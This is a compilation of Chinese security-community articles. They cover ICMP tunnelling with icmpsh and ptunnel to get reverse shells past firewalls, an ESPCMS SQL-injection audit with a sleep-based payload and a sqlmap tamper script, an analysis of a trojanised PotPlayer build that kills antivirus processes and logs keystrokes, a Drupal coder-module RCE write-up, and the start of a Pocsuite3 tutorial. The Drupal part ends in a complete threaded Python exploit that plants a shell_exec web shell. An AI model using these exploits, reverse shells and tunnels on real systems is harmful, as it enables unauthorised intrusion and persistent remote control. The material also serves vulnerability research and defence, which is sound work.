# 前言 ​ 内网渗透完成信息收集后，流量是否能够正常进出，是内网渗透中需要考虑的地方之一 ​ ICMP（Internet ControllerMessages Protocol,网间控制报文协议）是TCP/IP协议族的子协议，是一种面向无连接的协议。用于在IP[主机](https://baike.baidu.com/item/主机/455151)、[路由](https://baike.baidu.com/item/路由)器之间传递控制消息。控制消息是指[网络通](https://baike.baidu.com/item/网络通)不通、[主机](https://baike.baidu.com/item/主机/455151)是否可达、[路由](https://baike.baidu.com/item/路由/363497)是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。 ​ 参考文章：<https://baike.baidu.com/item/ICMP/572452?fr=kg_qa> ​ 在一些网络环境中，如果攻击者使用各类上层隧道（例如HTTP隧道，DNS隧道，正反向端口转发等）进行操作均失败。那么可以尝试使用ICMP建立隧道，ICMP协议不需要端口的开放，因为其基于IP工作的，所以我们将其归结到网络层，ICMP消息最为常见的就是ping命令的回复，将TCP/UDP数据包封装到ICMP的ping数据包中，从而穿过防火墙（通常防火墙是不会屏蔽ping数据包的） # 建立ICMP隧道 ​ 用于建立ICMP隧道的工具一般用`icmpsh`，`icmptunnel`，`ptunnel`，`icmpshell` ## 工作原理 ​ 请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload，而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端，用于识别和匹配 Ping 请求。 ​ Windows 和 Linux 系统下的 Ping 工具默认的 Payload 长度为 64 比特，但实际上协议允许附加最大 64K 大小的 Payload。 ​ 对于隧道数据，icmptunnel 首先会指定客户端和服务器端。随后，客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器，而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。这样在旁人看来，网络中传播的仅仅只是正常的 ICMP 数据包。 ## icmpsh ​ 工具安装 git clone https://github.com/inquisb/icmpsh.git #下载工具 apt-get install python-impacket #安装依赖 sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地ICMP应答 `icmpsh`的使用场景如下： ​ 服务器暴露在外网上，可以访问外部网络，但是服务上有防火墙，拒绝了敏感端口的连接（比如22端口，3389端口等）。使用`icmpsh`的目的就是为了能够绕过对敏感端口的限制，此时ICMP作为获取反向shell的通道，进行反向shell. ​ 攻击者IP地址： 192.168.1.76 服务器IP地址： 192.168.1.113 ​ 被攻击的服务器端运行 icmpsh.exe -t 192.168.1.76（攻击者） ​ ​ 攻击者端运行`icmpsh`的控制端 python icmpsh_m.py 192.168.1.76（攻击者） 192.168.1.113（被攻击者） ​ 观察`wireshare`的流量变化，可以看到这里是由`192.168.1.113`向`192.168.1.76`发出request请求，这里也就印证了这里进行的是反向shell。 ## icmptunnel ​ icmptunnel的优势在于可以穿过状态防火墙或NAT ​ 一些设备会过滤没有匹配响应数据包的 Ping 包。而在非对称连接中，来自服务器端的流量会大于客户端，反之亦然，这样客户端可能会丢弃一些相应数据包，因为响应数据包多余请求数据包。 ​ icmptunnel 有一个机制来专门解决这个问题。客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT，而这些请求数据包都会被记录在防火墙状态表中。同时通过保持发送带有载体的数据包，这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口”。 参考:<https://www.cnblogs.com/bonelee/p/7462218.html> ​ 安装icmptunnel git clone https://github.com/jamesbarlow/icmptunnel.git cd icmptunnel make ​ 可能会出现缺少头文件的问题，参考文章:<https://blog.csdn.net/zhutingting0428/article/details/51120949> ​ 使用场景和icmpsh一样（被攻击对象为linux的情况下） 攻击者IP：192.168.1.76 被攻击者的IP：192.168.26 ​ ​ 攻击者开启icmptunnel服务端模式： echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ./icmptunnel –s ​ 然后另开一个终端，执行命令 /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 ​ 指定一个网卡tun0，用于给隧道服务器端分配一个IP地址(10.0.0.1) ​ ​ 被攻击者 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all ./icmptunnel 192.168.1.76 ​ 连接上攻击者的icmptunnel服务端，然后再开一个终端，执行命令 /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 ​ 指定IP地址为10.0.0.2 ​ 此时建立了icmp隧道，在服务器端通过ssh连接被攻击对象 ## ptunnel ​ `ptunnel`就是工具`pingtunnel` ​ 安装过程如下： #安装libpcap的依赖环境 yum -y install byacc yum -y install flex bison #安装libpcap依赖库 wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar -xzvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure make && make install #安装PingTunnel wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz tar -xzvf PingTunnel-0.72.tar.gz cd PingTunnel make && make install ​ 参考：<https://mp.weixin.qq.com/s/AuGriK1Bha83rVYlGJpuUA> ​ 该工具在kali中是已经集成好的 ​ 现有场景如下：一个内网中，有一台Web服务器，一台数据库服务器，Web服务器可以ping通过数据库服务器，但是不能直接访问数据库服务器，已知数据库服务器此时有开启3389端口。 攻击者的IP地址：192.168.1.107(win7) 攻击者的VPS地址：192.168.1.76(kali) web服务器的IP地址：192.168.1.26（外网） 172.168.1.16（内网）(kali) 数据库服务器的IP地址：172.168.1.18（内网）(win server 2008) ​ ​ 在攻击者的vps（192.168.1.76）中执行如下命令 ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie -p 跳板的公网IP -lp 指定本机的监听端口 -da 目标服务器的内网IP -dp 指定目标服务器的端口 -x 为隧道写一个隧道密码，防止隧道滥用 ​ ​ 在Web服务器中执行命令 ptunnel -x cookie 在攻击者的机器上访问自己的vps的1080端口 ​ 可以看到我们虽然连接的是`192.168.1.76`，但是我们通过使用`web服务器`作为跳板，将vps的1080端口与数据库服务器的3389端口连接在一起了。 ​ 观察`wireshark`的流量变化情况 # 应对icmp隧道措施 使用icmp隧道时，会集中在某个时间点产生大量的icmp数据包，可以通过wireshark进行icmp数据包分析 ​ 1.检测同源的icmp数据包数量，正常的ping命令每秒最多两个数据包，隧道会产生大量的数据包。 ​ 2.注意payload大于64bit的ICMP数据包 ​ 3.寻找响应数据包和请求数据包payload不一致的ICMP数据包。 windows系统下ping默认传输的是： abcdefghijklmnopqrstuvwabcdefghi，共32bytes linux系统下，ping默认传输的是48bytes，前8bytes随时间变化，后面的固定不变，内容为!”#$%&’()+,-./01234567 ​ 参考:<https://www.freebuf.com/articles/network/202634.html> ​ 4.检查ICMP数据包的协议标签，比如icmptunnel会在所有icmp payload前面加上`TUNL`标识来标识隧道。
社区文章
有一天睡醒起来逛先知，在众测发现了这个漏洞奖励 看到，我口水都快留下来了，哇一个sql漏洞评高危，最少都有2500.哇，对于大佬们来说当然是小case，但是对于我这个学生狗来说，这可是几个月的生活费呢。于是乎，菜鸡开始了他的弱弱代码审计之旅。 # 审计环境 选了一个espcms来试试 程序下载地址：<https://www.earclink.com/upfile/download/espcmsp8download/ESPCMS_P8_18101601_INSTALL.zip> # 漏洞分析 这个cms有着全局过滤， 基本上可以杀死我这个小白的审计之路了，我开始慌了。 漏洞存在于：\ESPCMS_P8_18101601_INSTALL\install_pack\espcms_web\Search.php 第51行处 $_REQUEST['attr_array'] = unserialize(stripslashes($_GET['attr_array'])); HAHHH，这处很奇怪。 我们知道正常$_REQUEST['attr_array']会过滤掉' 变成\' 但是这里$_REQUEST['attr_array']获取的是反序列化的值，但是又用stripslashes去掉了过滤的\，所以逃出来' 然后接下来这里就是传入数据库的操作， # 漏洞测试 global $espcms_web_templates, $espcms_link_db; $db_table = ESPCMS_DB_PREFIX . 'document AS a'; $db_table_model_att = ESPCMS_DB_PREFIX . 'document_model_att'; $db_table_document_attr = ESPCMS_DB_PREFIX . 'document_attr'; $keyword = $_REQUEST['keyword']; if (!$keyword) { ESPCMS_Dialog::Message_Page('db_err'); } 前面的代码条件就是必须存在keyword参数，不然就跳转到指定的错误页面。 访问：[http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:28:"1](http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:28:)' union select sleep(8)-- -";i:1;} post:["keyword":"a","mid":"0"}] 查看数据库执行语句 # Poc #!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import phpserialize from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: payload = {payload:1} retVal = phpserialize.dumps(payload) return retVal python sqlmap.py -u "[http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=](http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=)" --data="keyword=a&mid=0" --tamper=serialize.py --level 3 --dbms=mysql 5.5 --method="GET" -p attr_array # 题外话 小白审计到了第一处漏洞，内心激动万分，妈耶。有钱买游戏了，买部ps4爽歪歪。 啊，好惨。这个厂商没有开软件的众测，一边哭去。。。
社区文章
# PotPlayer播放器极致优化版木马分析报告 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 > > 近期360安全卫士在软件下载站拦截到了利用PotPlayer播放器传播的远控木马，该木马巧妙的利用了正常文件和加密脚本，通过内存解密载入恶意代码，进行远控。通过检测多个安全进程，改变自身运行流程，对抗杀软查杀。主要功能是：记录键盘输入，盗取用户的账号信息以及远程下载其他木马，隐蔽性非常高，而且通过下载站大量的传播。 ## 木马传播 木马文件通过下载站和论坛传播，经常以“精简”，“优化”和“破解”等标题吸引用户下载。 ## 木马行为详解 木马利用了白加黑技术来躲避查杀，并且采用了多个脚本文件和多次加密，具体流程如下： ### **木马脚本部分：** 1. 木马安装包释放的桌面快捷方式指向一个名称为PotPlayerMinis.exe的正常程序。 2. 该程序会默认自动读取同目录下gamepatch文件夹下的config.ini配置文件。 3. PotPlayerMinis.exe读取gamepatch中的config.ini配置文件。以配置项InstParam指定的参数运行InstFile配置项指定的程序suchost.exe（其实是NirCmd.exe），从而实现把PotPlayerMinis.exe拷贝到配置文件所在路径下，重命名为svhost.exe，启动配置项mainExe指定的程序的目的。 4. svhost.exe以相同的方式读取同路径下的\gamepatch\config.ini，依次执行配置文件中指定的程序。 5. svhost.exe通过cmd.exe运行C:\PotPlayer\gamepatch\gamepatch\gamepatch\config.ini指定的脚本C:\PotPlayer\gamepatch\gamepatch\updete.bat。 6. C:\PotPlayer\gamepatch\gamepatch\updete.bat文件经过简单的混淆。该脚本主要功能是为后续木马程序的运行准备相关文件并启动主要脚本qiaoi.bat。 **具体功能包括** ： 重命名PotPlayer\gamepatch\gamepatch\config.xml为config.ini，并把该文件拷贝到PotPlayer\gamepatch\路径下。为后续启动PotPlayer的正常播放器功能做准备。 判断%TEMP%\下是否存在bug0.txt，如果不存在就创建bug0.txt并保存脚本当前路径到bug0.txt。 创建C:\HTEMP0文件夹，创建%TEMP%\qr.tmp保存字符串Rar文件头，并与 \gamepatch\gamepatch\update.tmp文件重新组建成一个完整的RAR压缩包，拷贝到C:\HTEMP0\路径下，重命名为uqdate.dat 拷贝gconfig.ini到%APPDATA%下，重命名为payerss.ini。拷贝cfwd.dat到%TEMP%下。拷贝updatej.tmp到C:\HTEMP0\下。（updatej.tmp其实是winrar.exe的命令行程序） 调用updatej.tmp解压缩C:\HTEMP0\uqdate.dat中的 qiaoi.bat到C:\HTEMP0\路径下。（解压密码是p（小写）） 最终运行C:\HTEMP0\qiaoi.bat脚本。 文件bat同样是经过简单混淆的脚本。该脚本功能比较复杂，包括解压配置文件，重组PE文件，判断正在运行的杀软进程，根据不同杀软改变运行流程等。 ### **重要功能包括：** 从dat中解压缩 ForceLibrary.tmp，恢复文件的MZ标志，组成一个完整PE文件。这个PE文件名是随机的，暂且叫xx.DLL。 判断杀软同时判断用户是否感染其他木马，改变后续程序运行流程。 脚本qiaoi.bat会依次检测360tray.exe、QQPCTray.exe、ns.exe和kxetray.exe是否存在，如果全都不存在，脚本会直接启动rundll32，来加载C:\HTEMP0\xx.dll（脚本随机dll名称），调用导出函数TrapEntry。TrapEntry会解压缩C:\HTEMP0\uqdate.dat中的bhdll.dat到%TEMP%路径下，然后内存解密该文件。该文件就是1号傀儡进程的寄生程序。 ## 可执行程序部分 ### **主要功能：** 运行随机名称的xx.Dll，启动后续远控木马运行流程，xx.dll主要是通过配置文件%APPDATA%\payerss.ini来获取远控木马资源的保存路径并进行傀儡进程数据的解密。 创建的傀儡进程还会连接网络下载其他木马资源，同时枚举进程，判断当前进程链中的有没有敏感进程名，如Aliimsafe.exe，360netman.exe，HRsword.exe和电脑管家等。如果存在敏感进程，就会改变远控木马的加载运行流程，对抗杀软。 获取payerss.ini配置信息，主要是木马其他资源的保存路径 读取%APPDATA%\winst\bhdll.dat文件，通过解密bhdll.dat，获取PE然后创建1号傀儡进程svchost.exe。1号傀儡进程还会解密数据，创建2号傀儡进程。 读取bhdll.dat 使用aticdxxfwd.dat和qq333666666生成解密秘钥。 使用生成的秘钥，解密bhdat数据，最终生成1号傀儡进程的PE文件： 经过多次拷贝和检查PE文件格式后，创建傀儡进程svchost.exe 完成创建后，1号傀儡进程会枚举进程，判断当前进程链中是否含有敏感进程，这里我是用WinHex的进程充当aliimsafe.exe的进程进行试验。 1号傀儡进程，如果发现存在aliimsafe.exe进程就会结束该进程，并删除aliimsafe.exe文件，然后在aliimsafe.exe所在目录下创建一个同名文件夹，阻止aliimsafe.exe进程重新创建。 在aliimsafe.exe的路径下创建的同名文件夹 该傀儡进程还会创建一个傀儡进程2号，被解密文件是%APPDATA%\winst\cfwd.txt。这个傀儡进程2号就是远控木马的主体。 1号傀儡进程还会访问网络信息im361.top/4441.txt，同时通过bkw888.bokee.com获取其他木马资源。 **远控木马：** 该远控木马和11月30号的分析报告《伪装迅雷破解版网银盗号木马深度追踪》 （<https://www.anquanke.com/post/id/87775>） 中提到的远控木马属于同一款，只有导出函数名称不一样，但是木马主体功能和代码高度相似。 键盘记录功能函数代码逻辑： 流程控制函数代码逻辑： ## 杀毒提示 该木马利用多种途径进行传播，盗取用户的账户信息，并且远程控制用户电脑，带来了严重的危害。360已经第一时间查杀该类木马文件。建议网友们选择安全的网站下载文件，安装包及时扫描查杀，避免使用来源未知的可疑软件。
社区文章
# Drupal coder module 存在未经身份验证的远程代码执行漏洞 | ##### 译文声明 本文是翻译文章，文章来源：nickbloor 原文地址：<http://blog.nickbloor.co.uk/2016/08/drupal-coder-module-unauthenticated.html> 译文仅供参考，具体内容表达以及含义原文为准。 在审查编码器模块安全代码时，我在Drupal 安全咨询 （SA-CONTRIB-2016年-039 ）中发现一个未经身份验证的远程代码执行漏洞。漏洞影响Drupal 编码器模块的版本包括 7.x- 1.3 和 7.x -2.6以下的所有版本，而且利用这个漏洞都不需要启用 Drupal 编码器模块和模块。据报告有 4000 个左右的网站在使用此模块。 其实本质问题是该模块里面有危险的 PHP 脚本，它可以直接允许无任何身份验证访问。该脚本本意是为了修改 PHP 源代码，并不应该被发布。但从安全的角度来看，这个脚本写得也很差劲。开发人员 （这位开发者还写了一个"安全代码审查"模块） 并没有编写任何代码来保护或限制访问脚本。当我报告这一问题时，开发人员一直回避问题报告，并且坚称脚本运行一切正常！ 简易版本 这个易受攻击的脚本可以在这个路径中看到（ coder/coder_upgrade/scripts/coder_upgrade.run.php），可以直接访问，并且不受任何内置于 Drupal 安全控件（例如身份验证和授权） 的限制。此脚本也几乎没有输入验证，因此漏洞百出，主要包括： · PHP 对象注射 · 2009 年 6 月被弃用、2012 年 3 月完全从 PHP 中删除 的 PHP 的危险可变变量 · 目录遍历 · 本地文件录入 · 日志文件感染 通常本地文件和日志文件都可入侵就意味着可以进行远程代码执行，然而情况还不是那么简单。被感染的日志文件会在触发本地文件之前被覆盖，这样就可以执行日志文件中的代码了。 幸运的是，被感染日志文件的路径没变，请求也没有变化。多线程还意味着一台服务器线程的日志文件被感染之后，其他线程 CPU还有时间可以暂停，然后为第二个服务器恢复线程并清除日志文件，但是在本地文件还是包含漏洞的时候还是会导致远程代码执行。 RCE：前往代码执行 我是在审查各种 Drupal 插件安全漏洞时发现这一问题的。Drupal 插件的代码通常存放在带有扩展名.module 或 .inc的文件中。这样做的好处是如果有直接请求文件（例如扩展名为 .php），代码就不会执行，只有在 Drupal 具体包括相关文件的情况下才会执行 （因此代码将收到内置于 Drupal 的安全插件管制）。 许多模块都有.php 文件，但这些往往只包含函数和类定义，所以直接请求时并不会执行任何有意义的代码。在其他情况下，这些脚本可能会调用没有定义脚本是否可以直接访问的函数(例如 CMS Api)，这会导致在 PHP 错误和脚本终止。编码器模块含有184个 .php 文件，所以我写了一个脚本标记 PHP 文件，想要找出在直接要求/执行脚本时起到作用的文件。当我在编码器模块中执行此脚本时，发现了 coder/coder_upgrade/scripts/coder_upgrade.run.php。快速浏览一下这个文件可以发现大量可能执行的代码，而且并没有什么明显错误，所以它看起来就需要进行更深入的代码审查。 下面是对 save_memory_usage()的调用，定义一个常数，调用一些 PHP 设置配置，并注册错误/异常处理程序。我们现在还不能控制脚本中的任何东西。 下一步创建名为 $path 的变量并由稍后在脚本中定义的 extract_arguments() 函数返回的值初始化。如果 $path 是空，该脚本就会返回一条消息并终止，因此为了获得更多的代码我们需要将 $path 设置为一个非 null 值。 该脚本使用 file_get_contents()的给定路径读取文件，并将内容传递到unserialize()函数，将结果存储在名为 $parameters 的变量中。默认情况下 PHP 允许文件处理函数打开 Url （见'allow_url_fopen'） ，所以我们可以使用任意 URL ，让此脚本读取它并将返回的数据传递给 unserialize()。这件事是非常危险的，因为它可能会带来PHP 对象注入攻击，然而在这种情况没有非标准的 PHP 类可供攻击者进行注入攻击。现在我们可以控制 $parameters 变量的内容了。 需要指出的是，包括 file_get_contents()在内的 PHP 文件系统功能支持各种协议封装。特别值得注意的是数据: / / 协议，它允许数据用 base 64 编码，而且允许直接阅读。这意味着服务器不需要出站的 HTTP (S) 或 FTP 连接。 上述 for 循环将 $parameters 变量视为数组，此循环执行之后我们可以通过改变$parameters 变量的位置来控制脚本中的每个变量。 这种循环结合常量字符串和一个变量构造几个我们可以控制的路径，然后将每个路径传递到要执行每个文件的 PHP 代码指令。因为我们控制无需验证的$_coder_upgrade_modules_base 变量，所以我们可以控制有限的本地文件包含 (LFI) 漏洞。不幸的是要实现通过此 LFI bug 执行任意代码我们需要下列操作来控制本地文件路径结束︰ /coder/coder_upgrade/coder_upgrade.inc /coder/coder_upgrade/includes/main.inc /coder/coder_upgrade/includes/utility.inc 在 PHP 5.3.4 版本中（发布于 2010年 12 月）本来可以利用 PHP 中的文件路径截断来选择任意本地文件。所以执行任意代码在理论上是可行的。 函数 coder_upgrade_memory_print() 写入了一些我们无法控制输出到 memory.txt的数据，之后我们控制这三个变量传递给 coder_upgrade_start() 所定义的文件 main.inc。 如果 $usage 变量是一个数组，那么它就会通过implode()被转换为一个字符串，这样该数组的元素就可 以用新行字符连接在一起。生成的字符串会传递给在main.inc 文件中定义的 coder_upgrade_path_print()函数 ，在这种情况下有效地将给定的字符串写入到 memory.txt中去。因 为我们可以控制变量 $usage，所以我们现在可以在memory.txt插入任意数据，包括 PHP 代码。我们无 法直接在txt文件中执行任何注入代码，但是我们可以使用包含漏洞的一个本地文件（含有memory.txt） 执行代码。由于 NULL 字节文件路径截断漏洞，早期的 LFI 可以用在 PHP 5.3.4之后的版本中。 函数coder_upgrade_memory_print()写入数据使得我们无法控制memory.txt文件。下面这三个变量，我们是通过coder_upgrade_start()也就是main.inc定义文件进行控制。 传递给 coder_upgrade_start() 的三个参数必须是非空数组。然后在$upgrades 参数传递到 coder_upgrade_load_code() 之前清除几个日志文件。 检测网站是否易受攻击 如果安装的编码器模块是7.x 1.3 或 7.x 2.6 之前的版本，那么该网站不管是否已启用编码器模块，都是易受未经身份验证的远程代码执行攻击的。 可以通过请求响应来确定是否是易受攻击的网站。如果该脚本返回的确切字符串文件参数不是参数文件，那么该网站就是危险的。 此脚本可能的各种安装路径如下︰ [drupal-root]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php [drupal-root]/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php [drupal-root]/sites/default/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php [drupal-root]/sites/[site-name]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php [Drupal- root] 是Drupal可以到达的URL ，[站点名称] 是用来标识单个站点名称的。 已经发布Nessus 插件来检测此漏洞，但它目前似乎只能检查前两个默认安装路径。 开发 下面有我的概念证明。它生成多个线程，将有效负载反复发送到脆弱的脚本直到触发器启用，服务器中还写入了最小的 PHP 命令外壳程序。 import base64 import urllib import threading import sys #Check for target parameter if len(sys.argv) != 2:  print "Usage: drupal-coder-shellupload.py <drupal-root>"  print "  e.g. drupal-coder-shellupload.py http://www.somedrupalsite.org"  sys.exit() #Target URL - must point at the base of the Drupal installation target = sys.argv[1] if target[-1] == "/":  target = target[:-1] #Strip trailing slash #The payload generated by constructing our $parameters array in PHP and serializing it: # a:7:{s:5:"paths";a:3:{s:10:"files_base";s:28:"../../../../../default/files";s:14:"libraries_base";s:21:"../../../../libraries";s:12:"modules_base";s:8:"../../..";}s:9:"variables";a:0:{}s:11:"theme_cache";s:0:"";s:8:"upgrades";a:1:{s:20:"race-execpoisonedlog";a:3:{s:6:"module";s:20:"race-execpoisonedlog";s:4:"path";s:42:"../../../../../default/files/coder_upgrade";s:5:"files";a:1:{i:0;s:10:"memory.txt";}}}s:10:"extensions";a:1:{s:11:"placeholder";s:0:"";}s:5:"items";a:1:{s:11:"placeholder";s:0:"";}s:5:"usage";s:116:"<?php file_put_contents('x.php','<?php print nl2br(htmlentities(shell_exec($_GET[1]))); ?>');chmod('x.php',0755); ?>";} #We can pass this directly to the vulnerable script by using the data:// protocol by base 64 encoding it... payload = "data://text/plain;base64," + base64.b64encode("a:7:{s:5:"paths";a:3:{s:10:"files_base";s:28:"../../../../../default/files";s:14:"libraries_base";s:21:"../../../../libraries";s:12:"modules_base";s:8:"../../..";}s:9:"variables";a:0:{}s:11:"theme_cache";s:0:"";s:8:"upgrades";a:1:{s:20:"race-execpoisonedlog";a:3:{s:6:"module";s:20:"race-execpoisonedlog";s:4:"path";s:42:"../../../../../default/files/coder_upgrade";s:5:"files";a:1:{i:0;s:10:"memory.txt";}}}s:10:"extensions";a:1:{s:11:"placeholder";s:0:"";}s:5:"items";a:1:{s:11:"placeholder";s:0:"";}s:5:"usage";s:116:"<?php file_put_contents('x.php','<?php print nl2br(htmlentities(shell_exec($_GET[1]))); ?>');chmod('x.php',0755); ?>";}") #Check whether the exploit has succeeded (i.e. whetherr the dropped shell exists) def checkSuccess():  result = False  urlReader = urllib.urlopen(target + "/sites/all/modules/coder/coder_upgrade/scripts/x.php")  if urlReader.getcode() == 200:   result = True  urlReader.close()  return result #Attack thread def attackThread():  #Poison memory.txt and trigger the LFI until the race condition triggers and the shell is dropped  while checkSuccess() == 0:   urlReader = urllib.urlopen(target + "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?" + urllib.urlencode({"file": payload}))   response = urlReader.read()   urlReader.close() #Spawn a load of threads in an attempt to trigger the race condition, then wait for them all to complete attackThreads = [] for i in range(50):  attackThreads.append(threading.Thread(target = attackThread))  attackThreads[i].start() for i in range(50):  attackThreads[i].join() #Done. print "Exploit successful!" print "A command shell should be available now at " target + "/sites/all/modules/coder/coder_upgrade/scripts/x.php" print "Pass commands to execute via the '1' GET parameter e.g. ?1=ls" 在安全咨询发布之后，一位名叫Mehmet Ince (@mdisec)的研究员对该模块做了进一步分析（文章发表在土耳其），并且利用 shell_exec() 的调用发现了一条更好地到达RCE的路径。 修复 脆弱的 PHP 脚本存在固有的危险性，本不应该发布到服务器中，所以理想情况下应该从所有的生产服务器上删除编码器模块；或者将该模块更新到版本 7.x 版-1.3 或 7.x 2.6 。
社区文章
**作者：知道创宇404实验室** **时间：2022年7月13日 英文版：<https://paper.seebug.org/1933/>** # 1 简介 [Pocsuite3](https://pocsuite.org/ "Pocsuite3") 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架，自 2015 年开源以来，知道创宇安全研究团队持续维护至今，不断更新迭代。 一些特性： * 支持 verify、attack、shell 三种模式，不仅为扫描而生，也可用于其他场景，比如漏洞 exploit、获取目标的交互式 shell * 集成了 ZoomEye、Shodan 等常见网络空间搜索引擎，方便资产导入 * CEye、Interactsh 等 DNSLog 工具集成，辅助无回显漏洞验证 * 插件系统，用户可自定义 TARGETS、POCS、RESULTS 类型插件，可拓展性强 * 网络库（urllib3、requests）的 hook，方便 PoC 编写及全局控制 * 支持 IPv4/IPv6 * 全局 HTTP/HTTPS/SOCKS 代理支持 * 集成调用支持，可以当成一个模块使用 * 业界良心，代码全开源 * ... 和 Metasploit 相比，Pocsuite3 目前不具有后渗透阶段的能力，比较轻量级。而相比于 YAML 格式的 PoC 框架，Pocsuite3 更加灵活，可以直接使用大量的第三方库，用户只要会写 Python，就能快速上手。当然灵活也带来了 PoC 维护的问题，毕竟大家的编码风格各异，只能说有利有弊吧。 目前 Pocsuite3 对于 YAML 格式 PoC 的支持也在计划之中， 敬请期待。 # 2 安装 Pocsuite3 基于 Python3 开发，可以运行在支持 Python 3.7+ 的任何平台上，例如 Linux、Windows、MacOS、BSD 等。 2021 年 11月，Pocsuite3 通过了 Debian 官方的代码及合规检查，[正式加入 Debian、Ubuntu、Kali 等 Linux 发行版的软件仓库](https://mp.weixin.qq.com/s/0lPA8FGKA64X8K-aTcgmMQ "正式加入 Debian、Ubuntu、Kali 等 Linux 发行版的软件仓库")，可以通过 apt 命令一键获取。此外，Pocsuite3 也已经推送到 Python PyPi、MacOS 的 Homebrew 仓库、Archlinux 的 Aur 仓库、Dockerhub。 ## 2.1 使用 Python3 pip 安装 pip3 install pocsuite3 # 使用国内镜像加速 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3 ## 2.2 在 MacOS 上安装 brew update brew info pocsuite3 brew install pocsuite3 ## 2.3 [Debian](https://tracker.debian.org/pkg/pocsuite3), [Ubuntu](https://launchpad.net/ubuntu/+source/pocsuite3), [Kali](http://pkg.kali.org/pkg/pocsuite3) sudo apt update sudo apt install pocsuite3 ## 2.4 Docker docker run -it pocsuite3/pocsuite3 ## 2.5 Arch Linux yay pocsuite3 ## 2.6 源码安装 wget https://github.com/knownsec/pocsuite3/archive/master.zip unzip master.zip cd pocsuite3-master pip3 install -r requirements.txt python3 setup.py install # 3 架构简析 为了使用的更加丝滑，有必要了解下框架的架构。整体而言，本框架主要包含四个部分，分别是目标收集、PoC 插件加载、多线程检测、结果汇总。如下图所示： ## 3.1 目标收集 首先来看一下目标收集，目前支持以下方式： * `-u` 指定单个 URL 或者 CIDR，支持 IPv4 / IPv6。使用 `-p` 参数可以提供额外的端口，配合 CIDR 可以很方便的探测一个目标网段 * `-f` 指定一个文件，将多个 URL/CIDR 存到文件中，每行一个 * `--dork`，框架集成了 ZoomEye、Shodan 等常见网络空间搜索引擎，只需要使用相应的参数提供搜索关键词和 `API-KEY` 即可自动导入目标。值得一提的是，用户也可以将搜索关键词放到 PoC 插件的 dork 属性中 * `--plugins` 调用插件加载目标，比如 `target_from_redis`。用户也可以自定义 TARGETS 类型插件 ## 3.2 PoC 插件加载 * `-r` 选项支持指定一个或多个 PoC 路径（或目录），如果提供的是目录，框架将遍历目录然后加载所有符合条件的 PoC，用户可以用 `-k` 选项指定关键词对 PoC 进行筛选，如组件名称、CVE编号等。如果我们确认了目标组件，就可以用 `-k` 选项找到所以对应的 PoC 对目标进行批量测试。如果只提供了 `-k` 选项，`-r` 默认为 Pocsuite3 自带的 `pocsuite3/pocs` 目录 * `--plugins` 调用插件加载 PoC，比如 `poc_from_seebug`、`poc_from_redis`。用户也可以自定义 POCS 类型插件 ## 3.3 多线程检测 当用户指定了目标和 PoC 后，框架会将每个目标和 PoC 进行匹配（笛卡尔积），生成一个元素为 `(target, poc_module)` 的队列，然后起一个默认大小为 150（可通过 `--threads` 设置） 的线程池处理这个队列。 在 Pocsuite3 中，PoC 插件有三种运行模式，分别对应 PoC 插件中定义的三种方法，可使用命令行参数 `--verify`、`--attack`、`--shell` 决定执行哪种方法，如果不指定，默认是 `--verify`。 线程要做的就是以 target 为参数初始化 PoC 插件并执行指定方法，然后获取执行结果。 ## 3.4 结果汇总 上一步获取了执行结果后，框架提供了多种方法对结果进行处理并保存： * 控制台日志，`-v` 参数控制日志级别，`--ppt` 参数可以对 IP 地址马赛克处理，方便录屏 * `-o` 参数将运行结果保存为 JSON Lines 格式的文件 * `--plugins` 调用插件对结果进行处理，比如：`file_record`，`html_report`。用户也可以自定义 RESULTS 类型插件 # 4 运行 Pocsuite3 有三种运行方法，1、命令行；2、交互式控制台；3、集成调用。 ## 4.1 命令行 直接运行 pocsuite 命令，并使用对应参数指定待测试的目标和 PoC。 ## 4.2 交互式控制台 类似 Metasploit 的控制台，使用 `poc-console` 命令进入。 ## 4.3 集成调用 当成一个模块来使用。 # 5 如何编写 PoC 框架只是躯壳，PoC 才是灵魂。这里以几种常见的漏洞类型为例，说明如何基于 Pocsuite3 框架快速开发 PoC。（ **以下漏洞皆为网上的公开漏洞，该教程仅用于工具教学目的，禁止将 PoC 用于任何非法用途！** ） Pocsuite3 可以通过 `-n` 或 `--new` 参数自动生成 PoC 模版。 ## 5.1 PoC 插件的三种模式 1、verify 